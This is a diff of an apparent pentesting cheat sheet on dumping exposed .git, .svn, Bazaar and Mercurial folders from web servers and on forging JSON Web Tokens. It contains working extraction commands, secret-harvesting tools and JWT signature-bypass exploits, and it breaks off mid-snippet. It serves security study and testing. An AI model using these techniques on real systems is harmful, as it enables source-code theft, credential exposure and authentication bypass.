- [Automatic recovery](#automatic-recovery)
|
* [Methodology](#methodology)
|
||||||
* [git-dumper.py](#git-dumperpy)
|
* [Bazaar](./Bazaar.md)
|
||||||
* [diggit.py](#diggitpy)
|
* [Git](./Git.md)
|
||||||
* [GoGitDumper](#gogitdumper)
|
* [Mercurial](./Mercurial.md)
|
||||||
* [rip-git](#rip-git)
|
* [Subversion](./Subversion.md)
|
||||||
* [GitHack](#githack)
|
* [Labs](#labs)
|
||||||
* [GitTools](#gittools)
|
|
||||||
- [Harvesting secrets](#harvesting-secrets)
|
|
||||||
* [trufflehog](#trufflehog)
|
|
||||||
* [Yar](#yar)
|
|
||||||
* [Gitrob](#gitrob)
|
|
||||||
* [Gitleaks](#gitleaks)
|
|
||||||
* [Subversion](#subversion)
|
|
||||||
+ [Example (Wordpress)](#example-wordpress)
|
|
||||||
+ [Tools](#tools-1)
|
|
||||||
- [svn-extractor](#svn-extractor)
|
|
||||||
* [Bazaar](#bazaar)
|
|
||||||
+ [Tools](#tools-2)
|
|
||||||
- [rip-bzr.pl](#rip-bzrpl)
|
|
||||||
- [bzr_dumper](#bzr_dumper)
|
|
||||||
* [Mercurial](#mercurial)
|
|
||||||
+ [Tools](#tools-3)
|
|
||||||
- [rip-hg.pl](#rip-hgpl)
|
|
||||||
* [References](#references)
|
* [References](#references)
|
||||||
|
|
||||||
## Git
|
|
||||||
|
|
||||||
The following examples will create either a copy of the .git or a copy of the current commit.
|
## Methodology
|
||||||
|
|
||||||
Check for the following files, if they exist you can extract the .git folder.
|
Exposing the version control system folders on a web server can lead to severe security risks, including:
|
||||||
|
|
||||||
- .git/config
|
- **Source Code Leaks** : Attackers can download the entire source code repository, gaining access to the application's logic.
|
||||||
- .git/HEAD
|
- **Sensitive Information Exposure** : Embedded secrets, configuration files, and credentials might be present within the codebase.
|
||||||
- .git/logs/HEAD
|
- **Commit History Exposure** : Attackers can view past changes, revealing sensitive information that might have been previously exposed and later mitigated.
|
||||||
|
|
||||||
### Example
|
|
||||||
|
|
||||||
#### Recovering file contents from .git/logs/HEAD
|
The first step is to gather information about the target application. This can be done using various web reconnaissance tools and techniques.
|
||||||
|
|
||||||
1. Check for 403 Forbidden or directory listing to find the `/.git/` directory
|
* **Manual Inspection** : Check URLs manually by navigating to common SCM paths.
|
||||||
2. Git saves all information in `.git/logs/HEAD` (try lowercase `head` too)
|
* http://target.com/.git/
|
||||||
```powershell
|
* http://target.com/.svn/
|
||||||
0000000000000000000000000000000000000000 15ca375e54f056a576905b41a417b413c57df6eb root <root@dfc2eabdf236.(none)> 1455532500 +0000 clone: from https://github.com/fermayo/hello-world-lamp.git
|
|
||||||
15ca375e54f056a576905b41a417b413c57df6eb 26e35470d38c4d6815bc4426a862d5399f04865c Michael <michael@easyctf.com> 1489390329 +0000 commit: Initial.
|
|
||||||
26e35470d38c4d6815bc4426a862d5399f04865c 6b4131bb3b84e9446218359414d636bda782d097 Michael <michael@easyctf.com> 1489390330 +0000 commit: Whoops! Remove flag.
|
|
||||||
6b4131bb3b84e9446218359414d636bda782d097 a48ee6d6ca840b9130fbaa73bbf55e9e730e4cfd Michael <michael@easyctf.com> 1489390332 +0000 commit: Prevent directory listing.
|
|
||||||
```
|
|
||||||
3. Access the commit using the hash
|
|
||||||
```powershell
|
|
||||||
# create an empty .git repository
|
|
||||||
git init test
|
|
||||||
cd test/.git
|
|
||||||
|
|
||||||
# download the file
|
* **Automated Tools** : Refer to the page related to the specific technology.
|
||||||
wget http://web.site/.git/objects/26/e35470d38c4d6815bc4426a862d5399f04865c
|
|
||||||
|
|
||||||
# first byte for subdirectory, remaining bytes for filename
|
Once a potential SCM folder is identified, check the HTTP response codes and contents. You might need to bypass `.htaccess` or Reverse Proxy rules.
|
||||||
mkdir .git/object/26
|
|
||||||
mv e35470d38c4d6815bc4426a862d5399f04865c .git/objects/26/
|
|
||||||
|
|
||||||
# display the file
|
The NGINX rule below returns a `403 (Forbidden)` response instead of `404 (Not Found)` when hitting the `/.git` endpoint.
|
||||||
git cat-file -p 26e35470d38c4d6815bc4426a862d5399f04865c
|
|
||||||
tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
|
||||||
parent 15ca375e54f056a576905b41a417b413c57df6eb
|
|
||||||
author Michael <michael@easyctf.com> 1489390329 +0000
|
|
||||||
committer Michael <michael@easyctf.com> 1489390329 +0000
|
|
||||||
Initial.
|
|
||||||
```
|
|
||||||
4. Access the tree 323240a3983045cdc0dec2e88c1358e7998f2e39
|
|
||||||
```powershell
|
|
||||||
wget http://web.site/.git/objects/32/3240a3983045cdc0dec2e88c1358e7998f2e39
|
|
||||||
mkdir .git/object/32
|
|
||||||
mv 3240a3983045cdc0dec2e88c1358e7998f2e39 .git/objects/32/
|
|
||||||
|
|
||||||
git cat-file -p 323240a3983045cdc0dec2e88c1358e7998f2e39
|
```ps1
|
||||||
040000 tree bd083286051cd869ee6485a3046b9935fbd127c0 css
|
location /.git {
|
||||||
100644 blob cb6139863967a752f3402b3975e97a84d152fd8f flag.txt
|
deny all;
|
||||||
040000 tree 14032aabd85b43a058cfc7025dd4fa9dd325ea97 fonts
|
}
|
||||||
100644 blob a7f8a24096d81887483b5f0fa21251a7eefd0db1 index.html
|
|
||||||
040000 tree 5df8b56e2ffd07b050d6b6913c72aec44c8f39d8 js
|
|
||||||
```
|
|
||||||
5. Read the data (flag.txt)
|
|
||||||
```powershell
|
|
||||||
wget http://web.site/.git/objects/cb/6139863967a752f3402b3975e97a84d152fd8f
|
|
||||||
mkdir .git/object/cb
|
|
||||||
mv 6139863967a752f3402b3975e97a84d152fd8f .git/objects/32/
|
|
||||||
git cat-file -p cb6139863967a752f3402b3975e97a84d152fd8f
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Recovering file contents from .git/index
|
|
||||||
|
|
||||||
Use the git index file parser https://pypi.python.org/pypi/gin (python3).
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
pip3 install gin
|
|
||||||
gin ~/git-repo/.git/index
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Recover name and sha1 hash of every file listed in the index, and use the same process above to recover the file.
|
For example in Git, the exploitation technique doesn't require to list the content of the `.git` folder (http://target.com/.git/), the data extraction can still be conducted when files can be read.
|
||||||
|
|
||||||
```powershell
|
|
||||||
$ gin .git/index | egrep -e "name|sha1"
|
|
||||||
name = AWS Amazon Bucket S3/README.md
|
|
||||||
sha1 = 862a3e58d138d6809405aa062249487bee074b98
|
|
||||||
|
|
||||||
name = CRLF injection/README.md
|
## Labs
|
||||||
sha1 = d7ef4d77741c38b6d3806e0c6a57bf1090eec141
|
|
||||||
```
|
|
||||||
|
|
||||||
### Tools
|
* [Root Me - Insecure Code Management](https://www.root-me.org/fr/Challenges/Web-Serveur/Insecure-Code-Management)
|
||||||
|
|
||||||
#### Automatic recovery
|
|
||||||
|
|
||||||
##### git-dumper.py
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/arthaud/git-dumper
|
|
||||||
pip install -r requirements.txt
|
|
||||||
./git-dumper.py http://web.site/.git ~/website
|
|
||||||
```
|
|
||||||
|
|
||||||
##### diggit.py
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/bl4de/security-tools/ && cd security-tools/diggit
|
|
||||||
./diggit.py -u remote_git_repo -t temp_folder -o object_hash [-r=True]
|
|
||||||
./diggit.py -u http://web.site -t /path/to/temp/folder/ -o d60fbeed6db32865a1f01bb9e485755f085f51c1
|
|
||||||
|
|
||||||
-u is remote path, where .git folder exists
|
|
||||||
-t is path to local folder with dummy Git repository and where blob content (files) are saved with their real names (cd /path/to/temp/folder && git init)
|
|
||||||
-o is a hash of particular Git object to download
|
|
||||||
```
|
|
||||||
|
|
||||||
##### GoGitDumper
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
go get github.com/c-sto/gogitdumper
|
|
||||||
gogitdumper -u http://web.site/.git/ -o yourdecideddir/.git/
|
|
||||||
git log
|
|
||||||
git checkout
|
|
||||||
```
|
|
||||||
|
|
||||||
##### rip-git
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/kost/dvcs-ripper
|
|
||||||
perl rip-git.pl -v -u "http://web.site/.git/"
|
|
||||||
|
|
||||||
git cat-file -p 07603070376d63d911f608120eb4b5489b507692
|
|
||||||
tree 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
|
||||||
parent 15ca375e54f056a576905b41a417b413c57df6eb
|
|
||||||
author Michael <michael@easyctf.com> 1489389105 +0000
|
|
||||||
committer Michael <michael@easyctf.com> 1489389105 +0000
|
|
||||||
|
|
||||||
git cat-file -p 5dae937a49acc7c2668f5bcde2a9fd07fc382fe2
|
|
||||||
```
|
|
||||||
|
|
||||||
##### GitHack
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/lijiejie/GitHack
|
|
||||||
GitHack.py http://web.site/.git/
|
|
||||||
```
|
|
||||||
|
|
||||||
##### GitTools
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/internetwache/GitTools
|
|
||||||
./gitdumper.sh http://target.tld/.git/ /tmp/destdir
|
|
||||||
git checkout -- .
|
|
||||||
```
|
|
||||||
|
|
||||||
#### Harvesting secrets
|
|
||||||
|
|
||||||
##### trufflehog
|
|
||||||
|
|
||||||
> Searches through git repositories for high entropy strings and secrets, digging deep into commit history.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
pip install truffleHog # https://github.com/dxa4481/truffleHog
|
|
||||||
truffleHog --regex --entropy=False https://github.com/dxa4481/truffleHog.git
|
|
||||||
```
|
|
||||||
|
|
||||||
##### Yar
|
|
||||||
|
|
||||||
> Searches through users/organizations git repositories for secrets either by regex, entropy or both. Inspired by the infamous truffleHog.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
go get github.com/nielsing/yar # https://github.com/nielsing/yar
|
|
||||||
yar -o orgname --both
|
|
||||||
```
|
|
||||||
|
|
||||||
##### Gitrob
|
|
||||||
|
|
||||||
> Gitrob is a tool to help find potentially sensitive files pushed to public repositories on Github. Gitrob will clone repositories belonging to a user or organization down to a configurable depth and iterate through the commit history and flag files that match signatures for potentially sensitive files.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
go get github.com/michenriksen/gitrob # https://github.com/michenriksen/gitrob
|
|
||||||
export GITROB_ACCESS_TOKEN=deadbeefdeadbeefdeadbeefdeadbeefdeadbeef
|
|
||||||
gitrob [options] target [target2] ... [targetN]
|
|
||||||
```
|
|
||||||
|
|
||||||
##### Gitleaks
|
|
||||||
|
|
||||||
> Gitleaks provides a way for you to find unencrypted secrets and other unwanted data types in git source code repositories.
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
# Run gitleaks against a public repository
|
|
||||||
docker run --rm --name=gitleaks zricethezav/gitleaks -v -r https://github.com/zricethezav/gitleaks.git
|
|
||||||
|
|
||||||
# Run gitleaks against a local repository already cloned into /tmp/
|
|
||||||
docker run --rm --name=gitleaks -v /tmp/:/code/ zricethezav/gitleaks -v --repo-path=/code/gitleaks
|
|
||||||
|
|
||||||
# Run gitleaks against a specific Github Pull request
|
|
||||||
docker run --rm --name=gitleaks -e GITHUB_TOKEN={your token} zricethezav/gitleaks --github-pr=https://github.com/owner/repo/pull/9000
|
|
||||||
|
|
||||||
or
|
|
||||||
|
|
||||||
go get -u github.com/zricethezav/gitleaks
|
|
||||||
```
|
|
||||||
|
|
||||||
## Subversion
|
|
||||||
|
|
||||||
### Example (Wordpress)
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
|
|
||||||
```
|
|
||||||
|
|
||||||
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
|
|
||||||
```powershell
|
|
||||||
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
|
|
||||||
```
|
|
||||||
2. Download interesting files
|
|
||||||
* remove \$sha1\$ prefix
|
|
||||||
* add .svn-base postfix
|
|
||||||
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
|
|
||||||
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
|
|
||||||
|
|
||||||
### Tools
|
|
||||||
|
|
||||||
#### svn-extractor
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/anantshri/svn-extractor.git
|
|
||||||
python svn-extractor.py –url "url with .svn available"
|
|
||||||
```
|
|
||||||
|
|
||||||
## Bazaar
|
|
||||||
|
|
||||||
### Tools
|
|
||||||
|
|
||||||
#### rip-bzr.pl
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-bzr.pl
|
|
||||||
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-bzr.pl -v -u
|
|
||||||
```
|
|
||||||
|
|
||||||
#### bzr_dumper
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
git clone https://github.com/SeahunOh/bzr_dumper
|
|
||||||
python3 dumper.py -u "http://127.0.0.1:5000/" -o source
|
|
||||||
Created a standalone tree (format: 2a)
|
|
||||||
[!] Target : http://127.0.0.1:5000/
|
|
||||||
[+] Start.
|
|
||||||
[+] GET repository/pack-names
|
|
||||||
[+] GET README
|
|
||||||
[+] GET checkout/dirstate
|
|
||||||
[+] GET checkout/views
|
|
||||||
[+] GET branch/branch.conf
|
|
||||||
[+] GET branch/format
|
|
||||||
[+] GET branch/last-revision
|
|
||||||
[+] GET branch/tag
|
|
||||||
[+] GET b'154411f0f33adc3ff8cfb3d34209cbd1'
|
|
||||||
[*] Finish
|
|
||||||
|
|
||||||
$ bzr revert
|
|
||||||
N application.py
|
|
||||||
N database.py
|
|
||||||
N static/
|
|
||||||
```
|
|
||||||
|
|
||||||
## Mercurial
|
|
||||||
|
|
||||||
### Tools
|
|
||||||
|
|
||||||
#### rip-hg.pl
|
|
||||||
|
|
||||||
```powershell
|
|
||||||
wget https://raw.githubusercontent.com/kost/dvcs-ripper/master/rip-hg.pl
|
|
||||||
docker run --rm -it -v /path/to/host/work:/work:rw k0st/alpine-dvcs-ripper rip-hg.pl -v -u
|
|
||||||
```
|
|
||||||
|
|
||||||
## References
|
## References
|
||||||
|
|
||||||
- [bl4de, hidden_directories_leaks](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
|
- [Hidden directories and files as a source of sensitive information about web application - Apr 30, 2017](https://github.com/bl4de/research/tree/master/hidden_directories_leaks)
|
||||||
- [bl4de, diggit](https://github.com/bl4de/security-tools/tree/master/diggit)
|
|
||||||
- [Gitrob: Now in Go - Michael Henriksen](https://michenriksen.com/blog/gitrob-now-in-go/)
|
|
||||||
37
Insecure Source Code Management/Subversion.md
Normal file
37
Insecure Source Code Management/Subversion.md
Normal file
@@ -0,0 +1,37 @@
|
|||||||
|
# Subversion
|
||||||
|
|
||||||
|
> Subversion (often abbreviated as SVN) is a centralized version control system (VCS) that has been widely used in the software development industry. Originally developed by CollabNet Inc. in 2000, Subversion was designed to be an improved version of CVS (Concurrent Versions System) and has since gained significant traction for its robustness and reliability.
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
* [Tools](#tools)
|
||||||
|
* [Methodology](#methodology)
|
||||||
|
* [References](#references)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [anantshri/svn-extractor](https://github.com/anantshri/svn-extractor) - Simple script to extract all web resources by means of .SVN folder exposed over network.
|
||||||
|
```powershell
|
||||||
|
python svn-extractor.py --url "url with .svn available"
|
||||||
|
```
|
||||||
|
|
||||||
|
## Methodology
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
curl http://blog.domain.com/.svn/text-base/wp-config.php.svn-base
|
||||||
|
```
|
||||||
|
|
||||||
|
1. Download the svn database from http://server/path_to_vulnerable_site/.svn/wc.db
|
||||||
|
```powershell
|
||||||
|
INSERT INTO "NODES" VALUES(1,'trunk/test.txt',0,'trunk',1,'trunk/test.txt',2,'normal',NULL,NULL,'file',X'2829',NULL,'$sha1$945a60e68acc693fcb74abadb588aac1a9135f62',NULL,2,1456056344886288,'bl4de',38,1456056261000000,NULL,NULL);
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Download interesting files
|
||||||
|
* remove `$sha1$` prefix
|
||||||
|
* add `.svn-base` postfix
|
||||||
|
* use first byte from hash as a subdirectory of the `pristine/` directory (`94` in this case)
|
||||||
|
* create complete path, which will be: `http://server/path_to_vulnerable_site/.svn/pristine/94/945a60e68acc693fcb74abadb588aac1a9135f62.svn-base`
|
||||||
|
|
||||||
|
## References
|
||||||
|
|
||||||
|
- [SVN Extractor for Web Pentesters - Anant Shrivastava - March 26, 2013](http://blog.anantshri.info/svn-extractor-for-web-pentesters/)
|
||||||
@@ -2,25 +2,37 @@
|
|||||||
|
|
||||||
> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
|
> JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed.
|
||||||
|
|
||||||
|
|
||||||
## Summary
|
## Summary
|
||||||
|
|
||||||
- [Tools](#tools)
|
- [Tools](#tools)
|
||||||
- [JWT Format](#jwt-format)
|
- [JWT Format](#jwt-format)
|
||||||
- [Header](#header)
|
- [Header](#header)
|
||||||
- [Payload](#payload)
|
- [Payload](#payload)
|
||||||
- [JWT Signature - None algorithm](#jwt-signature---none-algorithm)
|
- [JWT Signature](#jwt-signature)
|
||||||
- [JWT Signature - RS256 to HS256](#jwt-signature---rs256-to-hs256)
|
- [JWT Signature - Null Signature Attack (CVE-2020-28042)](#jwt-signature---null-signature-attack-cve-2020-28042)
|
||||||
- [Breaking JWT's secret](#breaking-jwts-secret)
|
- [JWT Signature - Disclosure of a correct signature (CVE-2019-7644)](#jwt-signature---disclosure-of-a-correct-signature-cve-2019-7644)
|
||||||
- [JWT Tool](#jwt-tool)
|
- [JWT Signature - None Algorithm (CVE-2015-9235)](#jwt-signature---none-algorithm-cve-2015-9235)
|
||||||
- [JWT cracker](#jwt-cracker)
|
- [JWT Signature - Key Confusion Attack RS256 to HS256 (CVE-2016-5431)](#jwt-signature---key-confusion-attack-rs256-to-hs256-cve-2016-5431)
|
||||||
- [Hashcat](#hashcat)
|
- [JWT Signature - Key Injection Attack (CVE-2018-0114)](#jwt-signature---key-injection-attack-cve-2018-0114)
|
||||||
|
- [JWT Signature - Recover Public Key From Signed JWTs](#jwt-signature---recover-public-key-from-signed-jwts)
|
||||||
|
- [JWT Secret](#jwt-secret)
|
||||||
|
- [Encode and Decode JWT with the secret](#encode-and-decode-jwt-with-the-secret)
|
||||||
|
- [Break JWT secret](#break-jwt-secret)
|
||||||
|
- [JWT Claims](#jwt-claims)
|
||||||
|
- [JWT kid Claim Misuse](#jwt-kid-claim-misuse)
|
||||||
|
- [JWKS - jku header injection](#jwks---jku-header-injection)
|
||||||
|
- [Labs](#labs)
|
||||||
- [References](#references)
|
- [References](#references)
|
||||||
|
|
||||||
|
|
||||||
## Tools
|
## Tools
|
||||||
|
|
||||||
- [jwt_tool](https://github.com/ticarpi/jwt_tool)
|
- [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool) - 🐍 A toolkit for testing, tweaking and cracking JSON Web Tokens
|
||||||
- [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker)
|
- [brendan-rius/c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C
|
||||||
- [JOSEPH - JavaScript Object Signing and Encryption Pentesting Helper](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61)
|
- [PortSwigger/JOSEPH](https://portswigger.net/bappstore/82d6c60490b540369d6d5d01822bdf61) - JavaScript Object Signing and Encryption Pentesting Helper
|
||||||
|
- [jwt.io](https://jwt.io/) - Encoder/Decoder
|
||||||
|
|
||||||
|
|
||||||
## JWT Format
|
## JWT Format
|
||||||
|
|
||||||
@@ -36,10 +48,11 @@ eyJzdWIiOiIxMjM0[...]kbWluIjp0cnVlfQ # payload
|
|||||||
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
|
UL9Pz5HbaMdZCV9cS9OcpccjrlkcmLovL2A2aiKiAOY # signature
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
### Header
|
### Header
|
||||||
|
|
||||||
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
|
Registered header parameter names defined in [JSON Web Signature (JWS) RFC](https://www.rfc-editor.org/rfc/rfc7515).
|
||||||
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
|
The most basic JWT header is the following JSON.
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
@@ -48,22 +61,43 @@ Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
| `alg` Param Value | Digital Signature or MAC Algorithm | Requirements |
|
Other parameters are registered in the RFC.
|
||||||
|---|---|---|
|
|
||||||
| HS256 | HMAC using SHA-256 | Required |
|
|
||||||
| HS384 | HMAC using SHA-384 | Optional |
|
|
||||||
| HS512 | HMAC using SHA-512 | Optional |
|
|
||||||
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
|
|
||||||
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
|
|
||||||
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
|
|
||||||
| ES256 | ECDSA using P-256 and SHA-256 | Recommended |
|
|
||||||
| ES384 | ECDSA using P-384 and SHA-384 | Optional |
|
|
||||||
| ES512 | ECDSA using P-521 and SHA-512 | Optional |
|
|
||||||
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
|
|
||||||
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
|
|
||||||
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
|
|
||||||
| none | No digital signature or MAC performed | Required |
|
|
||||||
|
|
||||||
|
| Parameter | Definition | Description |
|
||||||
|
|-----------|--------------------------------------|-------------|
|
||||||
|
| alg | Algorithm | Identifies the cryptographic algorithm used to secure the JWS |
|
||||||
|
| jku | JWK Set URL | Refers to a resource for a set of JSON-encoded public keys |
|
||||||
|
| jwk | JSON Web Key | The public key used to digitally sign the JWS |
|
||||||
|
| kid | Key ID | The key used to secure the JWS |
|
||||||
|
| x5u | X.509 URL | URL for the X.509 public key certificate or certificate chain |
|
||||||
|
| x5c | X.509 Certificate Chain | X.509 public key certificate or certificate chain in PEM-encoded used to digitally sign the JWS |
|
||||||
|
| x5t | X.509 Certificate SHA-1 Thumbprint) | Base64 url-encoded SHA-1 thumbprint (digest) of the DER encoding of the X.509 certificate |
|
||||||
|
| x5t#S256 | X.509 Certificate SHA-256 Thumbprint | Base64 url-encoded SHA-256 thumbprint (digest) of the DER encoding of the X.509 certificate |
|
||||||
|
| typ | Type | Media Type. Usually `JWT` |
|
||||||
|
| cty | Content Type | This header parameter is not recommended to use |
|
||||||
|
| crit | Critical | Extensions and/or JWA are being used |
|
||||||
|
|
||||||
|
|
||||||
|
Default algorithm is "HS256" (HMAC SHA256 symmetric encryption).
|
||||||
|
"RS256" is used for asymmetric purposes (RSA asymmetric encryption and private key signature).
|
||||||
|
|
||||||
|
| `alg` Param Value | Digital Signature or MAC Algorithm | Requirements |
|
||||||
|
|-------|------------------------------------------------|---------------|
|
||||||
|
| HS256 | HMAC using SHA-256 | Required |
|
||||||
|
| HS384 | HMAC using SHA-384 | Optional |
|
||||||
|
| HS512 | HMAC using SHA-512 | Optional |
|
||||||
|
| RS256 | RSASSA-PKCS1-v1_5 using SHA-256 | Recommended |
|
||||||
|
| RS384 | RSASSA-PKCS1-v1_5 using SHA-384 | Optional |
|
||||||
|
| RS512 | RSASSA-PKCS1-v1_5 using SHA-512 | Optional |
|
||||||
|
| ES256 | ECDSA using P-256 and SHA-256 | Recommended |
|
||||||
|
| ES384 | ECDSA using P-384 and SHA-384 | Optional |
|
||||||
|
| ES512 | ECDSA using P-521 and SHA-512 | Optional |
|
||||||
|
| PS256 | RSASSA-PSS using SHA-256 and MGF1 with SHA-256 | Optional |
|
||||||
|
| PS384 | RSASSA-PSS using SHA-384 and MGF1 with SHA-384 | Optional |
|
||||||
|
| PS512 | RSASSA-PSS using SHA-512 and MGF1 with SHA-512 | Optional |
|
||||||
|
| none | No digital signature or MAC performed | Required |
|
||||||
|
|
||||||
|
Inject headers with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -hc header1 -hv testval1 -hc header2 -hv testval2`
|
||||||
|
|
||||||
|
|
||||||
### Payload
|
### Payload
|
||||||
@@ -86,49 +120,81 @@ Claims are the predefined keys and their values:
|
|||||||
- sub: subject of the token (rarely used)
|
- sub: subject of the token (rarely used)
|
||||||
- aud: audience of the token (also rarely used)
|
- aud: audience of the token (also rarely used)
|
||||||
|
|
||||||
JWT Encoder – Decoder: `http://jsonwebtoken.io`
|
Inject payload claims with [ticarpi/jwt_tool](#): `python3 jwt_tool.py JWT_HERE -I -pc payload1 -pv testval3`
|
||||||
|
|
||||||
## JWT Signature - None algorithm
|
|
||||||
|
|
||||||
JWT supports a None algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
|
## JWT Signature
|
||||||
|
|
||||||
|
### JWT Signature - Null Signature Attack (CVE-2020-28042)
|
||||||
|
|
||||||
|
Send a JWT with HS256 algorithm without a signature like `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.`
|
||||||
|
|
||||||
|
**Exploit**:
|
||||||
|
```ps1
|
||||||
|
python3 jwt_tool.py JWT_HERE -X n
|
||||||
|
```
|
||||||
|
|
||||||
|
**Deconstructed**:
|
||||||
|
```json
|
||||||
|
{"alg":"HS256","typ":"JWT"}.
|
||||||
|
{"sub":"1234567890","name":"John Doe","iat":1516239022}
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### JWT Signature - Disclosure of a correct signature (CVE-2019-7644)
|
||||||
|
|
||||||
|
Send a JWT with an incorrect signature, the endpoint might respond with an error disclosing the correct one.
|
||||||
|
|
||||||
|
* [jwt-dotnet/jwt: Critical Security Fix Required: You disclose the correct signature with each SignatureVerificationException... #61](https://github.com/jwt-dotnet/jwt/issues/61)
|
||||||
|
* [CVE-2019-7644: Security Vulnerability in Auth0-WCF-Service-JWT](https://auth0.com/docs/secure/security-guidance/security-bulletins/cve-2019-7644)
|
||||||
|
|
||||||
|
```ps1
|
||||||
|
Invalid signature. Expected SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c got 9twuPVu9Wj3PBneGw1ctrf3knr7RX12v-UwocfLhXIs
|
||||||
|
Invalid signature. Expected 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgB1Y= got 8Qh5lJ5gSaQylkSdaCIDBoOqKzhoJ0Nutkkap8RgBOo=
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
### JWT Signature - None Algorithm (CVE-2015-9235)
|
||||||
|
|
||||||
|
JWT supports a `None` algorithm for signature. This was probably introduced to debug applications. However, this can have a severe impact on the security of the application.
|
||||||
|
|
||||||
None algorithm variants:
|
None algorithm variants:
|
||||||
* none
|
* `none`
|
||||||
* None
|
* `None`
|
||||||
* NONE
|
* `NONE`
|
||||||
* nOnE
|
* `nOnE`
|
||||||
|
|
||||||
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT.
|
To exploit this vulnerability, you just need to decode the JWT and change the algorithm used for the signature. Then you can submit your new JWT. However, this won't work unless you **remove** the signature
|
||||||
|
|
||||||
However, this won't work unless you **remove** the signature
|
|
||||||
|
|
||||||
Alternatively you can modify an existing JWT (be careful with the expiration time)
|
Alternatively you can modify an existing JWT (be careful with the expiration time)
|
||||||
|
|
||||||
```python3
|
* Using [ticarpi/jwt_tool](https://github.com/ticarpi/jwt_tool)
|
||||||
#!/usr/bin/python3
|
```ps1
|
||||||
# -*- coding: utf-8 -*-
|
python3 jwt_tool.py [JWT_HERE] -X a
|
||||||
|
```
|
||||||
|
|
||||||
import jwt
|
* Manually editing the JWT
|
||||||
|
```python
|
||||||
|
import jwt
|
||||||
|
|
||||||
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
|
jwtToken = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXUyJ9.eyJsb2dpbiI6InRlc3QiLCJpYXQiOiIxNTA3NzU1NTcwIn0.YWUyMGU4YTI2ZGEyZTQ1MzYzOWRkMjI5YzIyZmZhZWM0NmRlMWVhNTM3NTQwYWY2MGU5ZGMwNjBmMmU1ODQ3OQ'
|
||||||
|
decodedToken = jwt.decode(jwtToken, verify=False)
|
||||||
|
|
||||||
